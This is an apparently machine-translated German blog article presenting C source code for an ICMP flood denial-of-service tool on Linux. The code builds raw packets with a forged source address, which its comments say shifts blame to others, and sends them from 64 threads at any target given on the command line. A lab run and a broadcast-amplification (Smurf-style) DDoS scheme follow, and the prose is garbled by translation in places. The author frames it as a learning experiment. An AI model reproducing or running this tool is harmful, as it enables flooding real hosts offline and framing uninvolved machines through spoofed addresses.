Heim > Artikel > Betrieb und Instandhaltung > Linux – Beispiel für die Einführung eines ICMP-Flood-Angriffs
In diesem Artikel werden hauptsächlich die relevanten Informationen zum ICMP-Flood-Angriff auf Linuxim Detail vorgestellt. Interessierte Freunde können sich auf
mich beziehen Im vorherigen Artikel von PING in der Linux-Programmierung“ wurde das ICMP-Protokoll zur Implementierung des PING-Programms verwendet. Welche anderen unbekannten oder interessanten Verwendungszwecke hat ICMP neben der Implementierung eines solchen PING-Programms? Hier werde ich eine weitere bekannte schwarze Technologie von ICMP vorstellen: den ICMP-Flood-Angriff.Verhalten.
Prinzip des ICMP-Flood-Angriffs
2. ICMP-Flood-Attacke-Programmdesign
Modell des Angriffs anBild:
1
Die Paketassemblierung unterscheidet sich hier nicht wesentlich von der Paketassemblierung beim Schreiben des PING-Programms. Das Einzige, was beachtet werden muss, ist, dass wir den IP-Header-Teil ausfüllen müssen, da wir die Quelladresse verschleiern und einfügen möchten die Schuld auf andere.
void DoS_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(ICMP_PACKET_SIZE); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = PROTO_ICMP; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址 icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8)); //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了 }
2 Richten Sie den Sendethread ein
void Dos_Attack() { char* packet = (char*)malloc(ICMP_PACKET_SIZE); memset(packet, 0, ICMP_PACKET_SIZE); struct sockaddr_in to; DoS_icmp_pack(packet); to.sin_family = AF_INET; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制发包的全局变量 { sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //记得要释放内存 }
3. Schreiben Sie den Paketsendeschalter
Der Schalter hier ist sehr einfach und kann mit Semaphoren + global implementiert werden Variablen. Wenn wir Strg+C drücken, wird der Angriff ausgeschaltet.
void Dos_Sig() { alive = 0; printf("stop DoS Attack!\n"); }
4. Insgesamt Architektur
Wir haben 64 Threads verwendet, um Pakete gemeinsam zu versenden. Natürlich kann die Anzahl der Threads stark erhöht werden, um die Intensität des Angriffs zu erhöhen. Aber wir machen nur Experimente, es besteht keine Notwendigkeit, es so groß zu machen.
int main(int argc, char* argv[]) { struct hostent* host = NULL; struct protoent* protocol = NULL; int i; alive = 1; pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包 int err = 0; if(argc < 2) { printf("Invalid input!\n"); return -1; } signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME); if(protocol == NULL) { printf("Fail to getprotobyname!\n"); return -1; } PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == INADDR_NONE) { host = gethostbyname(argv[1]); if(host == NULL) { printf("Invalid IP or Domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP); if(rawsock < 0) { printf("Fait to create socket!\n"); return -1; } setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for(i=0;i<THREAD_MAX_NUM;i++) { err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL); if(err) { printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]); } } for(i=0;i<THREAD_MAX_NUM;i++) { pthread_join(attack_thread[i], NULL); //等待线程结束 } printf("ICMP ATTACK FINISHI!\n"); close(rawsock); return 0; }
3. Experiment
Dieses Experiment dient dem Zweck des Lernens und ich würde es tun Ich möchte das Gerät in der Hand haben und möchte die Anwendung des Netzwerks und der Protokolle weiter verstehen, sodass der Umfang des Angriffs relativ gering ist und nur wenige Sekunden dauert, ohne dass sich dies auf ein Gerät auswirkt.
Lassen Sie uns noch einmal über unsere Angriffsschritte sprechen: Wir verwenden Host 172.0.5.183 als unseren eigenen Angriffshost, tarnen uns als Host 172.0.5.182 und starten einen ICMP-Flood-Angriff auf Host 172.0.5.9.
Der Angriff beginnt
Beobachten wir die Situation auf der „Opfer“-Seite. In nur 5 Sekunden wurden mehr als 70.000 Pakete korrekt empfangen und zur Verarbeitung an die obere Schicht übermittelt. Ich traue mich nicht, zu viel zu tun, um die Arbeit der Maschine nicht zu beeinträchtigen.
Verwenden Sie Wireshark, um die Pakete zu erfassen und einen weiteren Blick darauf zu werfen. Es scheint, dass das Volumen auch sehr groß ist. Die Quelladresse des ICMP-Pakets wird als 172.0.5.182 (unsere gefälschte Adresse) angezeigt und es wird außerdem eine Echo-Antwort an 172.0.5.182 zurückgesendet. Der Host 172.0.5.182 wird definitiv denken, dass es unerklärlich ist, warum er so viele Echo-Antwortpakete erhalten hat.
Das Angriffsexperiment ist abgeschlossen.
Was jetzt beliebter ist, ist der DDOS-Angriff, der leistungsfähiger ist, ausgefeiltere Strategien hat und schwieriger zu verteidigen ist.
Tatsächlich wird dieser DDoS-Angriff auch auf der Basis von DOS gestartet. Die spezifischen Schritte sind wie folgt:
1. Der Angreifer sendet eine Echo-Anfragenachricht an das „Verstärkungsnetzwerk“
2. Der Angreifer gibt die Quell-IP der Broadcast-Nachricht als angegriffenen Host an
3. „Vergrößern Sie das Netzwerk“ und Echo-Antwort an den angegriffenen Host
4. Bilden Sie ein DDoS-Angriffsszenario
hier“ „Verstärktes Netzwerk“ kann als Netzwerk mit vielen Hosts verstanden werden, deren Betriebssysteme die Beantwortung bestimmter ICMP-Anfragepakete unterstützen müssen, deren Zieladresse eine Broadcast-Adresse ist.
Die Angriffsstrategie ist sehr ausgeklügelt. Kurz gesagt besteht sie darin, die Quelladresse als IP-Adresse des angreifenden Hosts zu tarnen und sie dann an alle Hosts zu senden Hosts senden gemeinsam Nachrichten an den angreifenden Host. Senden Sie das Paket zurück, was zu einer Situation führt, in der eine Gruppe von Personen angreift.
Das obige ist der detaillierte Inhalt vonLinux – Beispiel für die Einführung eines ICMP-Flood-Angriffs. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!